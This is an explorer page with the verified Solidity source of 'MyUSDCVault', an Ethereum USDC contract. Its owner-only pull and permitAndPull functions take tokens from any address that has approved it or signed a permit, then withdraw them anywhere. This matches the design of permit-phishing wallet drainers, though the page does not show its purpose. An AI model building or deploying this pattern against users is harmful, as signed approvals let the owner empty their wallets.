Description:
Smart contract deployed on Ethereum with Factory features.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
{{
"language": "Solidity",
"sources": {
"MyUSDCVault.sol": {
"content": "// SPDX-License-Identifier: MIT\r
pragma solidity ^0.8.0;\r
\r
interface IERC20 {\r
function transfer(address to, uint256 value) external returns (bool);\r
function transferFrom(address from, address to, uint256 value) external returns (bool);\r
function balanceOf(address account) external view returns (uint256);\r
}\r
\r
interface IERC20Permit {\r
function permit(\r
address owner,\r
address spender,\r
uint256 value,\r
uint256 deadline,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external;\r
}\r
\r
contract MyUSDCVault {\r
address public owner;\r
address public immutable usdc;\r
\r
event Deposited(address indexed from, uint256 amount);\r
event Withdrawn(address indexed to, uint256 amount);\r
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\r
\r
constructor(address _usdc) {\r
require(_usdc != address(0), "Invalid USDC address");\r
owner = msg.sender;\r
usdc = _usdc;\r
}\r
\r
modifier onlyOwner() {\r
require(msg.sender == owner, "Not owner");\r
_;\r
}\r
\r
// ✅ 支持普通 approve 后拉款\r
function pull(address from, uint256 amount) external onlyOwner {\r
require(from != address(0), "Invalid address");\r
require(amount > 0, "Amount must be > 0");\r
require(IERC20(usdc).transferFrom(from, address(this), amount), "Pull failed");\r
emit Deposited(from, amount);\r
}\r
\r
// ✅ 支持 permit 授权 + 拉款(你代用户出 gas)\r
function permitAndPull(\r
address user,\r
uint256 amount,\r
uint256 deadline,\r
uint8 v,\r
bytes32 r,\r
bytes32 s\r
) external onlyOwner {\r
require(user != address(0), "Invalid user address");\r
require(amount > 0, "Amount must be > 0");\r
require(deadline >= block.timestamp, "Permit expired");\r
\r
// 使用 try-catch 避免重复 permit 导致整个交易失败\r
try IERC20Permit(usdc).permit(user, address(this), amount, deadline, v, r, s) {\r
// Permit 成功\r
} catch {\r
// Permit 失败(可能已授权),继续执行转账\r
}\r
\r
require(IERC20(usdc).transferFrom(user, address(this), amount), "Transfer failed");\r
emit Deposited(user, amount);\r
}\r
\r
// ✅ 修复:使用 transfer 而不是 transferFrom\r
function withdraw(uint256 amount) external onlyOwner {\r
require(amount > 0, "Amount must be > 0");\r
require(IERC20(usdc).transfer(owner, amount), "Withdraw failed");\r
emit Withdrawn(owner, amount);\r
}\r
\r
// ✅ 新增:提取到指定地址\r
function withdrawTo(address to, uint256 amount) external onlyOwner {\r
require(to != address(0), "Invalid address");\r
require(amount > 0, "Amount must be > 0");\r
require(IERC20(usdc).transfer(to, amount), "Withdraw failed");\r
emit Withdrawn(to, amount);\r
}\r
\r
// ✅ 新增:转移所有权\r
function transferOwnership(address newOwner) external onlyOwner {\r
require(newOwner != address(0), "Invalid new owner");\r
address previousOwner = owner;\r
owner = newOwner;\r
emit OwnershipTransferred(previousOwner, newOwner);\r
}\r
\r
function vaultBalance() external view returns (uint256) {\r
return IERC20(usdc).balanceOf(address(this));\r
}\r
\r
// ✅ 新增:紧急提取所有余额\r
function emergencyWithdraw() external onlyOwner {\r
uint256 balance = IERC20(usdc).balanceOf(address(this));\r
require(balance > 0, "No balance");\r
require(IERC20(usdc).transfer(owner, balance), "Emergency withdraw failed");\r
emit Withdrawn(owner, balance);\r
}\r
}\r
\r
"
}
},
"settings": {
"optimizer": {
"enabled": false,
"runs": 200
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"remappings": []
}
}}
Submitted on: 2025-11-05 11:47:13
Comments
Log in to comment.
No comments yet.